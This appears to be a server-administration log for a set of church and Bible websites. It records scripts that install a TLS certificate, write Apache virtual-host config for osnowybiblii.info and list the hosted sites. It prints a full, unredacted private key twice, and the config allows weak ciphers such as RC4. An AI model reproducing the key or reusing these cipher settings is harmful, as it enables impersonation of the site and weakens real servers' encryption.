dQDtPEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/4AAAAZl1KIn8AAAEAwBG
MEQCIAtsyn5XzRzMDzNoyzeqn47d1+e4kmlvZkGslPzlwp4QAiAXB5/h+mXgzzhC
4lIdct2Jwv04SPlasM3Nsz4u2UvC5zANBgkqhkiG9w0BAQsFAAOCAQEAE6bvRFye
tRnsT1dWpHveGEIa6tsAGs7t6Gch42OSH3Zblt5bc6UPd8sVQ8aKXpq49U30Fd9R
/fDeuXr/a48cepE3u1C6p2A1Boim9Don4vOVJ2teWt11KmaE36GOjjARcIpwQDou
sDtAlrTmgLB0AySJ+05vZemSVL1E1Kv4nolbjaGOsd+i9jlQxMjPHKzkLbq95BoS
P4lKN/PX/a1sWEqTp74VvEqGalMjTmdp5m9l9dRExGflsZbkr+nXX/9Zg1HPTCVk
BIb31O/n9FQuu+PvDxY+4Od7R/1pjZpLqVMG08r9jA70ksS6nx4R5f3ZPO/bJrz8
7fjFWblTAuCfPA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCtUoWKJ23V9u+C
2lOD03XAAGRkCg7ooI2hlL4KJ9tUy79kjBZ6voL7QIX6Aye5GZa7vcZrpbfth79S
K9NkYiq1U16xRT22Di1kI63yVA1AEBp9BZoJ0lsdmouYmLq4WDucJqwkFZ3M4jiL
GSOWwp5t2jV+m6+ORUAuqU3bVdlQiHGkE5Ro97GnZgi91C0zuKAKJd5/hb6BbSgK
PSqVFqTABRHcbz10aTVNni6RVauQKUP3e23YKJcJsdTnw0ym/IWsveSzngR/dFI3
ZQ8yaR7IaIHhiZ6tPRikJdnixRt0mNPHUNJqQcsBAgItopv5Kzbh2Sc72ZY201It
tcHk8HebAgMBAAECggEAMOAxejkONyUwe3T30hfif6dcp/1SIPWNmwAn6xM8PZhL
O55phGmO5C1Y2pzjKcZ2hDDK8HZF/LyoDhL/xLIOGx4MeO7urRUoZbHODqT3K5ae
8ZyPyK9CNIHtVbXUCcIP5UPejTpvSmSMz2TibVQqew3qwe5DPlp28/GYW/7EjnnE
xOhIevU64xU4ZkkEZab9ZuyAGBtHwG+X+9DoT5BO1V2I8KkMtsVNVcsQOwQvbSJa
UXdJhxBcMDxNSiaNYhvu2CG5/avZTyXrsJtIWE2HJ5lIB3smPqZ1kDnVODtpDoRx
gBwbCjWZKZcA4EOeLKnjfd0oPy69XsSJuV8MlHS9iQKBgQDXhepAbAeKPvDsT0hB
rwAoEzLFLSI47Ed1c3kR52rPD0pCi7AwYNklw3qW2YjsJYqjAy7E5DNXKtIULJB1
DEEINg1qu9AtuZg3/fEFZs20WY/z6aBnCULRBtRGLb8z3zIac747xsnHIDQwP8Kz
M/EDWxMP99/haKcaY/wMaLP0bQKBgQDN36V3BD39p1EPsdygY7EgUualSd1TMVae
BtvBBBl7b1CvV5bf+gFlllndXXNsaRXKsW1Z1sX0fkbcP8BOUkEGTqmv7hweA5vt
lfUuhd0cGQpJ44g6nxsXoqVuY4XL9q1pKCprOMkEUZzm5cOsNI42PrFIloit+62T
Vmj+XixHJwKBgC8ZUtH1SciKbLgXs2C3T79yQpwYeuwZppwiOgkRm6PYYZAdWsmX
wJyiFX4119hTc/Kf1W6tuBKKhxJlksQhg2y580Cp/pqffoZt9mgJyVZqZC0Xlzgt
K+7mISmdAbXiRt7FAIOrs5jSjtUkefYTmc3z7zyEHObzqeD4jLJhh0IZAoGBAIAP
Q9+6lcz4jOXUX0atfHp81teuEKw1HooB/iQcJrWvUmMfeswruT61vYSDIs8mttV0
dG7TuCMTgYRza23MoIIJ4Gd9F6Rb3lx1USP1RMq7kLjRfeXpHnMfSwRVh96NvOSS
hYBYvEGhepXuCj9OGcAIU0Kx0KdYzGm/8GN5tNU1AoGBAKR1KE/PlrGtt7E3DfhK
xV64cD5OOeHC8BdcdxBjFFo4lRLijoxWX0D07nLp+IlpTGpCXqcEbLG7qn6neOcj
vaPavpvXsHBcWDNahjwoy48W7CRMxgAIJDY/bqNmwcoYpQaOR6h2071+7l98qlEq
M+CnWcNGSQm742DhNlacB4N/
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-23 06:00:15:
chmod 755 /tmp/pkp137537; /tmp/pkp137537; rm /tmp/pkp137537
2025-09-23 06:00:15:
dir=/etc/ssl/certs
2025-09-23 06:00:15:
PUT: /tmp/pkp377261
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/osnowybiblii_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-23 06:00:15:
chmod 755 /tmp/pkp377261; /tmp/pkp377261; rm /tmp/pkp377261
2025-09-23 06:00:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnowybiblii_www_info.conf 45
<VirtualHost *:80>
ServerName osnowybiblii.info
ServerAlias www.osnowybiblii.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/osnowybiblii_www
<Directory /var/www/osnowybiblii_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/osnowybiblii/www_access.log combined
ErrorLog /var/log/apache2/osnowybiblii/www_error.log
SetEnv pkp_uid 53
SetEnv pkp_owner osnovy
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName osnowybiblii.info
ServerAlias www.osnowybiblii.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
DocumentRoot /var/www/osnowybiblii_www
<Directory /var/www/osnowybiblii_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/osnowybiblii/www_secure_access.log combined
ErrorLog /var/log/apache2/osnowybiblii/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-23 06:00:15:
PUT: /tmp/pkp542214
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=osnowybiblii_www_info.conf
TARGET=/etc/apache2/sites-enabled/osnowybiblii_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName osnowybiblii.info
ServerAlias www.osnowybiblii.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/osnowybiblii_www
<Directory /var/www/osnowybiblii_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/osnowybiblii/www_access.log combined
ErrorLog /var/log/apache2/osnowybiblii/www_error.log
SetEnv pkp_uid 53
SetEnv pkp_owner osnovy
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName osnowybiblii.info
ServerAlias www.osnowybiblii.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
DocumentRoot /var/www/osnowybiblii_www
<Directory /var/www/osnowybiblii_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/osnowybiblii/www_secure_access.log combined
ErrorLog /var/log/apache2/osnowybiblii/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/osnowybiblii_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/osnowybiblii_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/osnowybiblii_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/osnowybiblii_www_info.conf= 1'
fi
2025-09-23 06:00:16:
chmod 755 /tmp/pkp542214; /tmp/pkp542214; rm /tmp/pkp542214
2025-09-23 06:00:16:
2025-09-23 06:00:16:
PUT: /tmp/pkp783194
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-23 06:00:16:
chmod 755 /tmp/pkp783194; /tmp/pkp783194; rm /tmp/pkp783194
2025-09-23 06:00:16:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-23 06:00:16: Establishing a connection
2025-09-23 06:00:16:
PUT: /tmp/pkp719115
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-23 06:00:16:
chmod 755 /tmp/pkp719115; /tmp/pkp719115; rm /tmp/pkp719115
2025-09-23 06:00:16:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-23 06:00:16:
PUT: /tmp/pkp449601
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/osnowybiblii_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-23 06:00:16:
chmod 755 /tmp/pkp449601; /tmp/pkp449601; rm /tmp/pkp449601
2025-09-23 06:00:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnowybiblii_www_info.conf 1414
<VirtualHost *:80>
ServerName osnowybiblii.info
ServerAlias www.osnowybiblii.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/osnowybiblii_www
<Directory /var/www/osnowybiblii_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/osnowybiblii/www_access.log combined
ErrorLog /var/log/apache2/osnowybiblii/www_error.log
SetEnv pkp_uid 53
SetEnv pkp_owner osnovy
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName osnowybiblii.info
ServerAlias www.osnowybiblii.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
DocumentRoot /var/www/osnowybiblii_www
<Directory /var/www/osnowybiblii_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/osnowybiblii/www_secure_access.log combined
ErrorLog /var/log/apache2/osnowybiblii/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-23 06:00:16:
PUT: /tmp/pkp827337
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-23 06:00:16:
chmod 755 /tmp/pkp827337; /tmp/pkp827337; rm /tmp/pkp827337
2025-09-23 06:00:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt 5386
eb:70:8c:d0:d9:62:f7:4a:f9:34:bf:83:b6:79:1f:60
-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBlilHRV5e1DEUMc9aB8sn0zoMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTIzMDUwMTQ1WhcNMjUxMjIyMDUwMTQ0WjAcMRowGAYDVQQD
ExFvc25vd3liaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAK1ShYonbdX274LaU4PTdcAAZGQKDuigjaGUvgon21TLv2SMFnq+gvtAhfoD
J7kZlru9xmult+2Hv1Ir02RiKrVTXrFFPbYOLWQjrfJUDUAQGn0FmgnSWx2ai5iY
urhYO5wmrCQVncziOIsZI5bCnm3aNX6br45FQC6pTdtV2VCIcaQTlGj3sadmCL3U
LTO4oAol3n+FvoFtKAo9KpUWpMAFEdxvPXRpNU2eLpFVq5ApQ/d7bdgolwmx1OfD
TKb8hay95LOeBH90UjdlDzJpHshogeGJnq09GKQl2eLFG3SY08dQ0mpBywECAi2i
m/krNuHZJzvZljbTUi21weTwd5sCAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUkS8I9t5M8tp2j/fg+mCCwmqQtogwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFvc25vd3liaWJsaWkuaW5m
b4IVd3d3Lm9zbm93eWJpYmxpaS5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTA1LmNybDCC
AQQGCisGAQQB1nkCBAIEgfUEgfIA8AB3AMz7D2qFcQll/pWbU87psnwi6YVcDZeN
tql+VMD+TA2wAAABmXUoie0AAAQDAEgwRgIhALRupL4BxtwfaUai0XKfo/cVEKL9
sTGILZXCMRWRy0h5AiEAhhg/e4W6APPS7YVOpoNIL1hhvbkU5EE4Thg3BorxTTkA
dQDtPEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/4AAAAZl1KIn8AAAEAwBG
MEQCIAtsyn5XzRzMDzNoyzeqn47d1+e4kmlvZkGslPzlwp4QAiAXB5/h+mXgzzhC
4lIdct2Jwv04SPlasM3Nsz4u2UvC5zANBgkqhkiG9w0BAQsFAAOCAQEAE6bvRFye
tRnsT1dWpHveGEIa6tsAGs7t6Gch42OSH3Zblt5bc6UPd8sVQ8aKXpq49U30Fd9R
/fDeuXr/a48cepE3u1C6p2A1Boim9Don4vOVJ2teWt11KmaE36GOjjARcIpwQDou
sDtAlrTmgLB0AySJ+05vZemSVL1E1Kv4nolbjaGOsd+i9jlQxMjPHKzkLbq95BoS
P4lKN/PX/a1sWEqTp74VvEqGalMjTmdp5m9l9dRExGflsZbkr+nXX/9Zg1HPTCVk
BIb31O/n9FQuu+PvDxY+4Od7R/1pjZpLqVMG08r9jA70ksS6nx4R5f3ZPO/bJrz8
7fjFWblTAuCfPA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCtUoWKJ23V9u+C
2lOD03XAAGRkCg7ooI2hlL4KJ9tUy79kjBZ6voL7QIX6Aye5GZa7vcZrpbfth79S
K9NkYiq1U16xRT22Di1kI63yVA1AEBp9BZoJ0lsdmouYmLq4WDucJqwkFZ3M4jiL
GSOWwp5t2jV+m6+ORUAuqU3bVdlQiHGkE5Ro97GnZgi91C0zuKAKJd5/hb6BbSgK
PSqVFqTABRHcbz10aTVNni6RVauQKUP3e23YKJcJsdTnw0ym/IWsveSzngR/dFI3
ZQ8yaR7IaIHhiZ6tPRikJdnixRt0mNPHUNJqQcsBAgItopv5Kzbh2Sc72ZY201It
tcHk8HebAgMBAAECggEAMOAxejkONyUwe3T30hfif6dcp/1SIPWNmwAn6xM8PZhL
O55phGmO5C1Y2pzjKcZ2hDDK8HZF/LyoDhL/xLIOGx4MeO7urRUoZbHODqT3K5ae
8ZyPyK9CNIHtVbXUCcIP5UPejTpvSmSMz2TibVQqew3qwe5DPlp28/GYW/7EjnnE
xOhIevU64xU4ZkkEZab9ZuyAGBtHwG+X+9DoT5BO1V2I8KkMtsVNVcsQOwQvbSJa
UXdJhxBcMDxNSiaNYhvu2CG5/avZTyXrsJtIWE2HJ5lIB3smPqZ1kDnVODtpDoRx
gBwbCjWZKZcA4EOeLKnjfd0oPy69XsSJuV8MlHS9iQKBgQDXhepAbAeKPvDsT0hB
rwAoEzLFLSI47Ed1c3kR52rPD0pCi7AwYNklw3qW2YjsJYqjAy7E5DNXKtIULJB1
DEEINg1qu9AtuZg3/fEFZs20WY/z6aBnCULRBtRGLb8z3zIac747xsnHIDQwP8Kz
M/EDWxMP99/haKcaY/wMaLP0bQKBgQDN36V3BD39p1EPsdygY7EgUualSd1TMVae
